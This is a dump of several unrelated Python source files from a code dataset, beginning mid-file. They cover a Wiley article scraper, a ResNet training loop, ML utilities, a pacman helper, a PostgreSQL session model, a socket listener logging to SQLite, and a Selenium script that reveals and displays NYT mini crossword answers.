'/epdf'. It seems like in the new version of the article\n pages, /epdf is preferred, though /pdf is still supported.\n\n Ex: https://onlinelibrary.wiley.com/doi/10.########/pdf\n\n Parameters\n ----------\n input : str\n Can be either a DOI or a URL to an article page.\n\n Returns\n -------\n pdf_link : str\n URL directly to the article pdf\n \"\"\"\n '''\n soup = make_soup(input, 'entry')\n\n # Get entry content information\n toolbar = soup.find('div', {'id' : 'promosAndTools'})\n if toolbar is None:\n raise errors.ParseException('Unable to find toolbar section of page')\n\n links = toolbar.find('li', {'class' : 'readcubePdf'})\n href = links.find('a', {'class' : 'readcubePdfLink'})['href']\n pdf_link = _WY_URL + href\n '''\n if is_url(input):\n doi = extract_doi(input)\n elif is_doi(input):\n doi = input\n else:\n raise ValueError('Input not recognized as a valid DOI or Wiley URL')\n\n pdf_link = _WY_URL + '/doi/' + doi + '/pdf'\n\n return pdf_link\n\n\ndef get_entry_info(input, verbose=False, soup=None):\n if soup is None:\n soup = get_page_soup(input, 'entry', verbose)\n return WileyEntry(soup, verbose)\n\n\ndef get_all_info(input, verbose=False):\n \"\"\"\n This function is so that all information can be returned at once.\n It handles calls to get pdf link, reference information, and entry\n information. This is generally in order to limit needing to make a\n requests call three times for each function.\n\n For the Wiley implementation, the number of requests calls can't\n be reduced because the entry and reference information are on\n separate pages. This function still organizes the return values.\n\n Parameters\n ----------\n input\n verbose\n\n Returns\n -------\n\n \"\"\"\n entry_info = get_entry_info(input, verbose)\n references = get_references(input, verbose)\n pdf_link = get_pdf_link(input)\n\n entry_dict = convert_to_dict(entry_info)\n\n\n\n pass\n\n\ndef get_page_soup(doi_or_url, type, verbose=False):\n # Check if the input is a DOI or URL\n if is_url(doi_or_url):\n doi = extract_doi(doi_or_url)\n elif is_doi(doi_or_url):\n doi = doi_or_url\n else:\n raise ValueError('Input not recognized as a valid DOI or Wiley URL')\n\n # Web page retrieval\n #-------------------\n soup = connect(doi, type, verbose)\n return soup\n\n\ndef is_url(doi_or_url):\n if doi_or_url.find('wiley') != -1:\n return True\n else:\n return False\n\ndef is_doi(doi_or_url):\n if doi_or_url.find('10.') == 0:\n return True\n else:\n return False\n\n\ndef extract_doi(url):\n \"\"\"\n \n Parameters\n ----------\n url : TYPE\n DESCRIPTION.\n\n Returns\n -------\n doi : TYPE\n DESCRIPTION.\n \n \n Examples\n --------\n \n\n \"\"\"\n # First check to see which version of the URL is being used, and get ending.\n # Wiley separates info into multiple tabs, each with a unique URL\n # ending in /abstract, /references, or /citedby.\n # This is used to get the DOI\n ending = re.search('[^/]+$',url).group(0)\n\n # Extract the DOI from the URL\n # Get everything between 'onlinelibrary.wiley.com/doi/' and the URL ending\n doi = re.findall('doi/(.*?)/%s' %ending, url, re.DOTALL)\n doi = doi[0]\n\n return doi\n\n\ndef connect(doi, type, verbose=None):\n \"\"\"\n \n\n Parameters\n ----------\n doi : TYPE\n DESCRIPTION.\n type : TYPE\n - 'references'\n - 'entry'\n verbose : TYPE, optional\n DESCRIPTION. The default is None.\n\n Returns\n -------\n soup : TYPE\n DESCRIPTION.\n\n \"\"\"\n # Add the correct URL suffix:\n if type == 'references':\n suffix = '/references'\n elif type == 'entry':\n suffix = '/abstract'\n else:\n #??????\n suffix = None\n\n # Construct valid Wiley URL from given DOI\n url = _WY_URL + '/doi/' + doi + suffix\n\n # Web page retrieval\n #-------------------\n s = requests.Session()\n\n if verbose:\n print('Requesting main page for doi: %s' % doi)\n\n r = s.get(url)\n soup = BeautifulSoup(r.text)\n\n #\n # Some newer journals/articles are using an updated, minimalistic page layout.\n # This isn't compatible with the HTML tags of the old version, so we need to\n # check for that and use the old site view if necessary.\n #\n backlink = soup.find('a', {'id' : 'wol1backlink'})\n if backlink is not None:\n url = _WY_URL + '/wol1/doi/' + doi + suffix\n r = requests.session().get(url)\n soup = BeautifulSoup(r.text,features=\"lxml\")\n\n #with open('wiley_test.html', 'wb') as file:\n # file.write(r.content)\n \n \n #When not found we get:\n #The page you were looking for has not been found\n\n return soup\n","sub_path":"pypub/scrapers/wiley.py","file_name":"wiley.py","file_ext":"py","file_size_in_byte":22617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"261565102","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\nimport torchvision.models as models\r\nimport argparse\r\n\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n#device = torch.device(\"cpu\")\r\n\r\n\r\nEPOCH = 300\r\npre_epoch = 0\r\nBATCH_SIZE = 32\r\nLR = 0.001\r\n\r\n\r\n#net = models.resnet152(num_classes=3).to(device)\r\nnet = models.resnet152(pretrained=True).to(device)\r\n#net.load_state_dict(torch.load('./model/net_256.pth'))\r\n\r\n\r\ntransform_train = transforms.Compose([\r\n transforms.Resize([233, 233]),\r\n transforms.RandomHorizontalFlip(),\r\n #transforms.RandomVerticalFlip(),\r\n #transforms.RandomRotation([0, 15]),\r\n transforms.RandomCrop(224),\r\n #transforms.ColorJitter(brightness=0.15, contrast=0.15, saturation=0.15, hue=[-0.15, 0.15]),\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\r\n])\r\n\r\n\r\ntrainset = torchvision.datasets.ImageFolder(root='./data', transform=transform_train)\r\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=BATCH_SIZE, shuffle=True, num_workers=2)\r\n\r\n\r\nclasses = trainset.classes\r\nprint(trainset.classes)\r\nprint(len(trainset))\r\nprint(trainset[0][0].shape)\r\nprint(trainset[0][0].max())\r\nprint(trainset[0][0].min())\r\n\r\n\r\n#for i in range(len(trainset)):\r\n# print(' ', i, trainset[i][0].shape, trainset.imgs[i])\r\n#import sys\r\n#sys.exit()\r\n\r\n\r\ncriterion = nn.CrossEntropyLoss()\r\noptimizer = optim.SGD(net.parameters(), lr=LR, momentum=0.9, weight_decay=1e-4)\r\n#optimizer = optim.Adam(net.parameters(), lr=LR)\r\n\r\n\r\nwith open(\"log.txt\", \"a+\")as f2:\r\n for epoch in range(pre_epoch, EPOCH):\r\n print('\\nEpoch: %d' % (epoch + 1))\r\n net.train()\r\n sum_loss = 0.0\r\n correct = 0.0\r\n total = 0.0\r\n for i, data in enumerate(trainloader, 0):\r\n length = len(trainloader)\r\n inputs, labels = data\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n\r\n # zero the parameter gradients\r\n optimizer.zero_grad()\r\n\r\n # forward + backward + optimize\r\n outputs = net(inputs)\r\n loss = criterion(outputs, labels)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # print statistics\r\n sum_loss += loss.item()\r\n _, predicted = torch.max(outputs.data, 1)\r\n total += labels.size(0)\r\n correct += predicted.eq(labels.data).cpu().sum()\r\n print('[epoch:%d, iter:%d] Loss: %.03f | Acc: %.3f%% '\r\n % (epoch + 1, (i + 1 + epoch * length), sum_loss / (i + 1), correct / total))\r\n f2.write('%d,%d,%.4f,%.4f'\r\n % (epoch + 1, (i + 1 + epoch * length), sum_loss / (i + 1), correct / total))\r\n f2.write('\\n')\r\n f2.flush()\r\n\r\n print('Saving model......')\r\n torch.save(net.state_dict(), './model/net_%03d.pth' % (epoch + 1))\r\n\r\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"56284090","text":"import bisect\n\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn import tree\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import svm\n\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import f1_score\n\n\ndef split_train_test_cv(data, train_p=0.5, cv_p=0.5, shuffle=None, state=None):\n if shuffle is 0:\n print(\"Probably not what you want\")\n train, test = train_test_split(data, train_size=train_p, shuffle=shuffle,\n random_state=state)\n cv, test = train_test_split(test, train_size=cv_p, shuffle=shuffle,\n random_state=state)\n return train, cv, test\n\n\ndef split_train_test_data(X, Y, train_p=0.5, cv_p=0.5, shuffle=None, state=None,\n **kwargs):\n if shuffle is 0:\n print(\"Probably not what you want\")\n train, test, train_labels, test_labels = train_test_split(X, Y,\n train_size=train_p,\n shuffle=shuffle,\n random_state=state)\n cv, test, cv_labels, test_labels = train_test_split(test, test_labels,\n train_size=cv_p,\n shuffle=shuffle,\n random_state=state)\n return (train, cv, test), (train_labels, cv_labels, test_labels)\n\n\nclass Classifiers:\n DECISION_TREE = tree.DecisionTreeClassifier\n RANDOM_FOREST = RandomForestClassifier\n LOGISTIC_REGRESSION = LogisticRegression\n SVC = svm.SVC\n\n ALL_NAMED = {\n \"Decision Tree\": DECISION_TREE,\n \"Random forest\": RANDOM_FOREST,\n \"Logistic regression\": LOGISTIC_REGRESSION,\n }\n\n ALL = [j for (_, j) in ALL_NAMED.items()]\n\n\nclass Predictor:\n def __init__(self, model, flatten_data, revert_data, flatten_labels,\n revert_labels, test_data, test_labels, normalizator):\n self.model = model\n self.flatten_data = flatten_data\n self.revert_data = revert_data\n self.flatten_labels = flatten_labels\n self.revert_labels = revert_labels\n self.test_data = test_data\n self.test_labels = test_labels\n self.normalizator = normalizator\n\n def predict(self, data, reshape=True):\n data = self.normalizator(data)\n flat, dimen = self.flatten_data(data)\n predicted = self.model.predict(flat)\n if reshape:\n return self.revert_labels(predicted, dimen[0])\n return predicted\n\n def test_classifier(self, X, Y):\n test_labels = self.flatten_labels(Y)\n predicted_labels = self.predict(X, reshape=False)\n # evaluate results\n precission = precision_score(test_labels, predicted_labels)\n recall = recall_score(test_labels, predicted_labels)\n f1 = f1_score(test_labels, predicted_labels)\n\n return (precission, recall, f1), self.revert_labels(predicted_labels,\n X.shape)\n\n\ndef train_test_classifier(X, Y,\n classifier_method=Classifiers.RANDOM_FOREST,\n **config):\n # Reshape\n initial_data_shape = X.shape\n initial_label_shape = Y.shape\n\n full_size = 1\n for j in X.shape[:-1]:\n full_size *= j\n\n def revert_data_shape(data):\n return data.reshape(initial_data_shape)\n\n def revert_labels_shape(labels, shape):\n return labels.reshape(shape[:-1])\n\n def flatten_data(data):\n initial_shape = data.shape\n full_sz = 1\n for j in data.shape[:-1]:\n full_sz *= j\n # Sounds good, but we may allow multiple \"same\" presentations of data\n # assert X.shape == data.shape\n return data.reshape(full_sz, initial_data_shape[-1]), (\n initial_shape, full_sz)\n\n def flatten_labels(labels):\n # Same in flatten_data\n # assert Y.shape == labels.shape\n return labels.flatten()\n\n line_data, dimen = flatten_data(X)\n line_labels = flatten_labels(Y)\n\n # Split\n\n (train, cv, test), (train_labels, cv_labels, test_labels) = \\\n split_train_test_data(line_data, line_labels, **config)\n # train\n mean = np.mean(line_data, 0)\n var = np.var(line_data, 0)\n if config.get(\"normalize\"):\n def normalizator(x):\n return (x - mean) / var\n else:\n def normalizator(x):\n return x\n\n train = normalizator(train)\n\n classifier = classifier_method()\n clf = classifier.fit(train, train_labels)\n\n # Cross validate\n\n if config.get(\"cv_p\", 0):\n # TODO: Implement cross validation and some optimization of parameters\n pass\n\n # Create predictor\n\n predictor = Predictor(clf, flatten_data, revert_data_shape, flatten_labels,\n revert_labels_shape, test, test_labels, normalizator)\n\n # Test\n # Predict\n predicted_labels = predictor.flatten_labels(predictor.predict(test))\n\n # evaluate results\n precission = precision_score(test_labels, predicted_labels)\n recall = recall_score(test_labels, predicted_labels)\n f1 = f1_score(test_labels, predicted_labels)\n\n test_label_mask_predictions = (\n np.pad(predicted_labels[::-1], (0, full_size - len(predicted_labels)),\n \"constant\")[::-1]).reshape(initial_label_shape)\n\n return (precission, recall, f1), predictor, test_label_mask_predictions\n\n\ndef find_closest_date(dates, date):\n return bisect.bisect(dates, date)\n\n\ndef find_index_after_date(dates, date):\n return bisect.bisect(dates, date)\n\n\nclass Reshaper:\n\n def __init__(self, data_shape):\n self.data_shape = data_shape\n full_sz = 1\n for j in self.data_shape[:-1]:\n full_sz *= j\n self.full_size = full_sz\n\n def revert_data_shape(self, data):\n return data.reshape(self.data_shape)\n\n def revert_labels_shape(self, labels):\n return labels.reshape(self.data_shape[:-1])\n\n def flatten_data(self, data):\n return data.reshape(self.full_size, self.data_shape[:-1])\n\n def flatten_labels(self, labels):\n return labels.flatten()\n","sub_path":"Exploratory/libs/MLUtils.py","file_name":"MLUtils.py","file_ext":"py","file_size_in_byte":6410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405634764","text":"def expand_package_groups(module, pacman_path, pkgs):\n expanded = []\n for pkg in pkgs:\n cmd = ('%s -Sgq %s' % (pacman_path, pkg))\n (rc, stdout, stderr) = module.run_command(cmd, check_rc=False)\n if (rc == 0):\n for name in stdout.split('\\n'):\n name = name.strip()\n if name:\n expanded.append(name)\n else:\n expanded.append(pkg)\n return expanded","sub_path":"Data Set/bug-fixing-5/ff4c308359ae9249235bb66c3aefa0c3c899ed4a--bug.py","file_name":"ff4c308359ae9249235bb66c3aefa0c3c899ed4a--bug.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"586988415","text":"import psycopg2\nfrom psycopg2 import sql\nfrom psycopg2.extensions import AsIs\nfrom config import logger\nfrom . import ( # noqa\n db,\n Basemod,\n Usermod\n)\n\nfrom lib.helpers import (\n calculate_date_range,\n generate_uid,\n)\n\nusermod = Usermod(db)\n# =============================\n\n\nclass Sessionmod(Basemod):\n\n table = 'session'\n # ____________________________\n\n def calculate_session_result(self, sessionid):\n task_results = self.fetch_task_results(sessionid)\n logger.debug(\"Session %r task results: %r\", sessionid, task_results)\n if not len(task_results):\n return None\n return all([r for r in task_results])\n # ____________________________\n\n def create_session(self, sn, duedate_include_weekends):\n # Save machine to machine table if not already there\n session = self.parse_jira_shipment_ticket(sn)\n session.update(self.parse_jira_ivt_ticket(sn))\n\n logger.debug(\"SESSION FROM SHIPMENT & IVT TICKETs: %r\", session)\n\n session['uid'] = \"%s-%s\" % (sn, generate_uid())\n session['state'] = 'pending'\n session['weekend_included'] = duedate_include_weekends\n session['start'], session['due'] = calculate_date_range(\n session['verification_type']['rundays'], duedate_include_weekends)\n\n sessionid = self.save_session(session)\n logger.debug(\"New verification session ID: %s\", sessionid)\n\n return sessionid\n # ____________________________\n\n def save_session(self, session):\n\n query = sql.SQL(\"\"\"\n INSERT INTO {}\n (\n uid, sn, system_name, model, shipment_ticket,\n customerid, typeid, slot, ownerid, ticket,\n created, state, start, due, weekend_included\n )\n VALUES (\n %(uid)s,\n %(sn)s,\n %(system_name)s,\n %(model)s,\n %(shipment_ticket)s,\n %(customerid)s,\n %(typeid)s,\n %(slot)s,\n %(ownerid)s,\n %(ticket)s,\n %(created)s,\n %(state)s,\n %(start)s,\n %(due)s,\n %(weekend_included)s\n )\n RETURNING id\n \"\"\").format(sql.Identifier(self.table))\n\n logger.info(\"Mogrify: {}\".format(db.cursor.mogrify(query, session)))\n\n try:\n db.cursor.execute(query, session)\n db.conn.commit()\n fetch = db.cursor.fetchone()\n logger.debug(\"FETCH: {}\".format(fetch))\n return fetch['id']\n except psycopg2.IntegrityError as e:\n logger.warning(e)\n db.conn.rollback()\n raise\n except psycopg2.ProgrammingError:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n raise\n except Exception:\n db.conn.rollback()\n raise\n # ____________________________\n\n def delete(self, machineid):\n sessionuid = self.get_uid_by_id(machineid)\n self.remove_session_queue(sessionuid)\n self.remove_session_tasks(machineid)\n self.remove_session(machineid)\n # ____________________________\n\n def get_uid_by_id(self, machineid):\n query = sql.SQL(\"\"\"\n SELECT uid FROM session\n WHERE id = %s\n \"\"\")\n params = (machineid,)\n\n try:\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchone()\n if fetch is None:\n return\n return fetch['uid']\n except Exception:\n logger.exception('!ERROR')\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_page(self, params):\n sort_field = params['sort_field']\n sort_order = params['sort_order']\n limit = params.get('limit', None)\n offset = params.get('offset', 0)\n\n query = \"\"\"\n SELECT\n s.id,\n s.uid,\n s.sn,\n s.system_name,\n s.ticket,\n s.model,\n s.slot,\n c.name AS customer,\n u.username AS owner_username,\n u.name AS owner_name,\n u.email AS owner_email,\n u.social_id AS owner_socialid,\n t.name as verification_type,\n s.state,\n s.result,\n s.start,\n s.due,\n s.weekend_included,\n s.created\n FROM session s, customer c, verification_type t, users u\n WHERE s.customerid = c.id\n AND s.typeid = t.id\n AND s.ownerid = u.id\n ORDER BY %s %s\n LIMIT %s\n OFFSET %s\n \"\"\"\n params = (AsIs(sort_field), AsIs(sort_order), AsIs(limit), AsIs(offset))\n\n try:\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchall()\n logger.info(\"Fetch page type: {}\".format(type(fetch)))\n return fetch\n except Exception:\n logger.exception('!ERROR')\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_session(self, sessionid):\n query = sql.SQL(\"\"\"\n SELECT\n s.id,\n s.uid,\n s.sn,\n s.system_name,\n s.ticket,\n s.model,\n s.slot,\n c.name AS customer,\n u.username AS owner_username,\n u.name AS owner_name,\n u.email AS owner_email,\n u.social_id AS owner_socialid,\n t.name as verification_type,\n s.state,\n s.result,\n s.start,\n s.due,\n s.weekend_included,\n s.created\n FROM session s, customer c, verification_type t, users u\n WHERE s.customerid = c.id\n AND s.typeid = t.id\n AND s.ownerid = u.id\n AND s.id = %s\n \"\"\")\n params = (sessionid,)\n\n try:\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchone()\n if fetch is None:\n return {}\n return dict(fetch)\n except Exception:\n logger.exception('!ERROR')\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_task_results(self, sessionid):\n try:\n query = sql.SQL(\"\"\"\n SELECT result FROM session_task WHERE sessionid = %s\n \"\"\")\n\n params = (sessionid, )\n\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchall()\n if fetch is None:\n return []\n return [f['result'] for f in fetch]\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_session_task_states(self, sessionid):\n try:\n query = sql.SQL(\"\"\"\n SELECT state FROM session_task WHERE sessionid = %s\n \"\"\")\n\n params = (sessionid, )\n\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchall()\n return [f['state'] for f in fetch]\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_running_by_sn(self, sn):\n try:\n query = sql.SQL(\"\"\"\n SELECT id\n FROM {}\n WHERE sn = %s\n AND state NOT IN ('finished', 'aborted')\n \"\"\").format(sql.Identifier(self.table))\n\n params = (sn, )\n\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchone()\n if fetch is None:\n return 0\n return fetch['id']\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_sn_by_id(self, sessionid):\n try:\n query = sql.SQL(\"\"\"\n SELECT sn FROM session WHERE id = %s\n \"\"\")\n\n params = (sessionid, )\n\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchone()\n if fetch is None:\n return 0\n return fetch['sn']\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n raise\n # ____________________________\n\n def fetch_verification_type_names(self):\n query = \"\"\"\n SELECT name\n FROM verification_type\n ORDER BY priority ASC\n \"\"\"\n params = ()\n\n logger.info(\"QUERY: {}\".format(db.cursor.mogrify(query, params)))\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchall()\n return [f['name'] for f in fetch]\n # ____________________________\n\n def fetch_verification_type_by_name(self, name):\n query = \"\"\"\n SELECT id, name, rundays\n FROM verification_type\n WHERE name = %s\n \"\"\"\n params = (name,)\n\n logger.info(\"QUERY: {}\".format(db.cursor.mogrify(query, params)))\n db.cursor.execute(query, params)\n fetch = db.cursor.fetchone()\n return dict(fetch)\n # ____________________________\n\n def figure_verification_type(self, labels):\n types = self.fetch_verification_type_names()\n logger.info(\"Fetched types: %r\", types)\n logger.info(\"Got labels: %r\", labels)\n\n found = 'NONRPQ'\n for t in types:\n if t in labels:\n found = t\n logger.info(\"Type found: %r\", found)\n\n return self.fetch_verification_type_by_name(found)\n # ____________________________\n\n def remove_session(self, sessionid):\n query = sql.SQL(\"\"\"\n DELETE FROM {0}\n WHERE id = %s\n \"\"\").format(sql.Identifier(self.table))\n\n params = (sessionid, )\n try:\n db.cursor.execute(query, params)\n db.conn.commit()\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n # ____________________________\n\n def remove_session_queue(self, sessionuid):\n\n query = \"\"\"\n DELETE FROM task_queue\n WHERE sessionuid = %s\n \"\"\"\n\n params = (sessionuid,)\n try:\n db.cursor.execute(query, params)\n db.conn.commit()\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n # ____________________________\n\n def remove_session_tasks(self, sessionid):\n\n query = \"\"\"\n DELETE FROM session_task\n WHERE sessionid = %s\n \"\"\"\n\n params = (sessionid,)\n try:\n db.cursor.execute(query, params)\n db.conn.commit()\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n # ____________________________\n\n def update_session_from_jira(self, sessionid):\n sn = self.fetch_sn_by_id(sessionid)\n logger.debug(\"UPDATE SN in session %s: %r\", sn, sessionid)\n session = self.parse_jira_shipment_ticket(sn)\n session.update(self.parse_jira_ivt_ticket(sn))\n self.update_session(sessionid, session)\n return sessionid\n # ____________________________\n\n def update_session(self, sessionid, session):\n\n query = sql.SQL(\"\"\"\n UPDATE {}\n SET\n slot = %(slot)s,\n ownerid = %(ownerid)s,\n model = %(model)s,\n customerid = %(customerid)s,\n due = %(due)s\n RETURNING id\n \"\"\").format(sql.Identifier(self.table))\n\n logger.info(\"Mogrify: {}\".format(db.cursor.mogrify(query, session)))\n\n try:\n db.cursor.execute(query, session)\n db.conn.commit()\n fetch = db.cursor.fetchone()\n logger.debug(\"FETCH: {}\".format(fetch))\n return fetch['id']\n except psycopg2.IntegrityError as e:\n logger.warning(e)\n db.conn.rollback()\n raise\n except psycopg2.ProgrammingError:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n raise\n except Exception:\n db.conn.rollback()\n raise\n # ____________________________\n\n def update_session_state(self, sessionid, state):\n query = \"\"\"\n UPDATE session\n SET state = %s\n WHERE id = %s\n \"\"\"\n params = (state, sessionid)\n try:\n db.cursor.execute(query, params)\n db.conn.commit()\n except Exception:\n logger.exception(\"!ERROR\")\n db.conn.rollback()\n","sub_path":"korak/webapp/models/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":12962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"645846973","text":"n1 = int(input(\"Digite um número: \"))\nn2 = int(input(\"Digiete outro número: \"))\n\nsoma = n1 + n2\nmult = n1 * n2\ndiv = n1 / n2\nresto = n1 % n2\n\nprint(\"Soma dos números: \", soma)\nprint(\"Multplicação dos números: \", mult)\nprint(\"Divisão dos números: \", div)\nprint(\"resto da divisão dos números: \", resto)","sub_path":"Ex03.py","file_name":"Ex03.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"229699666","text":"import socket\nimport sqlite3\nimport time\nimport datetime\n\nmethod = 'tcp' # Reemplaza por tcp si lo requieres\n\nif method == 'udp':\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nelse:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nport = 9001\nsock.bind((\"\", port))\n\nprint('Esperando conexión')\n\n# Crear base de datos y habilitarla\nconn = sqlite3.connect('log.db')\ncc = conn.cursor()\ncc.execute('''CREATE TABLE IF NOT EXISTS log\n (IP TEXT, puerto TEXT, mensaje TEXT, tiempo TEXT)''')\nconn.commit()\n\n# Escuchar el puerto por un tiempo indefinido\nwhile 1:\n data, (r_ip, r_port) = sock.recvfrom(1024)\n\n # Crear set de datos\n t = datetime.datetime.fromtimestamp(time.time()).strftime('''\n %Y-%m-%d %H:%M:%S''')\n sent_data = (r_ip, r_port, data, t)\n\n # Hacer que se escriban los datos en una base de datos SQLite\n cc.execute('''INSERT INTO log VALUES\n (?,?,?,?)''', sent_data)\n conn.commit()\n\n # La siguiente línea es para que puedas ver lo que hay en la base de datos\n # actualmente, para la versión final se omite\n for row in cc.execute('SELECT * FROM log ORDER BY tiempo'):\n print(row)\n","sub_path":"firstsite/firstsite/listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"445943706","text":"\"\"\"\r\nCS461 Artificial Intelligence\r\nDemo 1\r\n\r\nGroup nick: CROSSBREAKER\r\n\r\nAbdullah Emir Öztürk (S1)\r\nEge Kemahlıoğlu (S1)\r\nKoray Barkın Cıngı (S2)\r\nÖmer Faruk Oflaz (S2)\r\nÖmer Faruk Ünal (S2)\r\ndeneme2\r\n\"\"\"\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom bs4 import BeautifulSoup\r\n\r\nimport tkinter as tk\r\nimport datetime\r\nimport pytz\r\n\r\n#initializing the tk instance for the GUI\r\nroot = tk.Tk()\r\nroot.title(\"CrossBreaker\")\r\n\r\n#settings for webdriver \r\nchrome_options = Options()\r\nchrome_options.headless = True\r\ndriver = webdriver.Chrome(r\"C:\\Users\\koray\\Downloads\\chromedriver.exe\",options=chrome_options)\r\n\r\n\"\"\"\r\nThis function reveal the answers for the puzzle by navigating on the web page\r\n\"\"\"\r\ndef revealAnswers():\r\n #navigate to Ny Times mini crossword puzzle\r\n driver.get(\"https://www.nytimes.com/crosswords/game/mini\")\r\n\r\n try: #It clicks on OK button if the \"Ready to get started?\" pops up \r\n driver.find_element_by_xpath(\"/html/body/div[1]/div/div/div[4]/div/main/div[2]/div/div[2]/div[3]/div/article/div[2]/button/div/span\").click()\r\n except Exception as e:\r\n print('nothing')\r\n\r\n try: #It clicks on the Play without account button\r\n driver.find_element_by_xpath(\"/html/body/div[1]/div/div/div[4]/div/main/div[2]/div/div[2]/div[3]/div/article/button\").click()\r\n except Exception as e:\r\n print('nothing') \r\n\r\n #It clicks on Reveal button\r\n driver.find_element_by_xpath(\"/html/body/div[1]/div/div/div[4]/div/main/div[2]/div/div/ul/div[2]/li[2]/button\").click()\r\n #It clicks on Puzzle button\r\n driver.find_element_by_xpath(\"/html/body/div[1]/div/div/div[4]/div/main/div[2]/div/div/ul/div[2]/li[2]/ul/li[3]/a\").click()\r\n #It clicks on Reveal button to accept\r\n driver.find_element_by_xpath(\"/html/body/div[1]/div/div[2]/div[2]/article/div[2]/button[2]/div/span\").click()\r\n #It quits from the last pop up \r\n driver.find_element_by_xpath(\"/html/body/div[1]/div/div[2]/div[2]/span\").click()\r\n \r\n\"\"\"\r\nThis function creates a grid structure for puzzle and places its elements on it\r\ndata: data obtained after scraping from website\r\n\"\"\"\r\ndef create_grid(data):\r\n\r\n counter = 0\r\n for j in range(50,451,100):\r\n for i in range(10, 411, 100):\r\n \r\n if data[counter]['color'] == 0:\r\n c.create_rectangle(i,j,i+100,j+100, fill=\"black\", outline=\"white\")\r\n counter = counter +1\r\n\r\n else:\r\n c.create_rectangle(i,j,i+100,j+100, fill=\"white\")\r\n c.create_text(i+15, j+15, text = data[counter]['number'], font=(\"nyt-franklin\", 20))\r\n c.create_text(i+50, j+50, text = data[counter]['answerLetter'], font=(\"nyt-franklin\", 47), fill=\"blue\")\r\n counter = counter +1\r\n\r\n c.create_rectangle(10,50,510,550)\r\n\r\n \r\n\"\"\"\r\nThis function prints clue section of the puzzle\r\nclueLabel: numbers belong to clues\r\nclueText: texts of the clues\r\n\"\"\"\r\ndef printClues(clueLabel, clueText):\r\n #starting point for printing clue section \r\n x=545\r\n y=60\r\n\r\n for k in range (len(clueLabel)):\r\n if (k == 0 or k == 5):\r\n if (k == 0):\r\n c.create_text(x,y, text= \"ACROSS\", anchor= tk.W,font=(\"nyt-franklin\", 10))\r\n y+=40\r\n if (k == 5):\r\n y= 60\r\n x = 870\r\n c.create_text(x,y, text= \"DOWN\", anchor=tk.W, font=(\"nyt-franklin\", 10))\r\n y+=40\r\n \r\n c.create_text(x +15, y, text= clueLabel[k], anchor=tk.W)\r\n \r\n c.create_text(x + 30, y, text= clueText[k], anchor=tk.W, width=250)\r\n y += 40\r\n temp_y = y\r\n\r\n #lines under the ACROSS and DOWN\r\n c.create_line(545,75,820,75, fill= \"black\" )\r\n c.create_line(870,75,1145,75, fill= \"black\" )\r\n\r\n\"\"\"\r\nThis function returns current time\r\n\"\"\" \r\ndef getCurrentTime():\r\n tz_IS = pytz.timezone('Europe/Istanbul')\r\n currentTime = datetime.datetime.now(tz_IS)\r\n time = str(currentTime) \r\n return time \r\n\r\n\"\"\"\r\nThis function prints data & time and group nick\r\n\"\"\"\r\ndef printIdentity():\r\n time = getCurrentTime()\r\n\r\n c.create_text(315,570,text= \"Date & Time: \"+time[:19],font=(\"nyt-franklin\", 10), anchor=tk.W)\r\n c.create_text(315,585,text=\"Group nick: CROSSBREAKER\",font=(\"nyt-franklin\", 10), anchor=tk.W)\r\n\r\n\"\"\"\r\nThis function divides and arranges the data obtained from the website after web scraping\r\nand returns them into grid, clueLabels and clueTexts\r\nboardContent: it contains data belong to the puzzle board\r\nsectionLayoutClueList: it contains data belong to the clue section\r\n\"\"\" \r\ndef 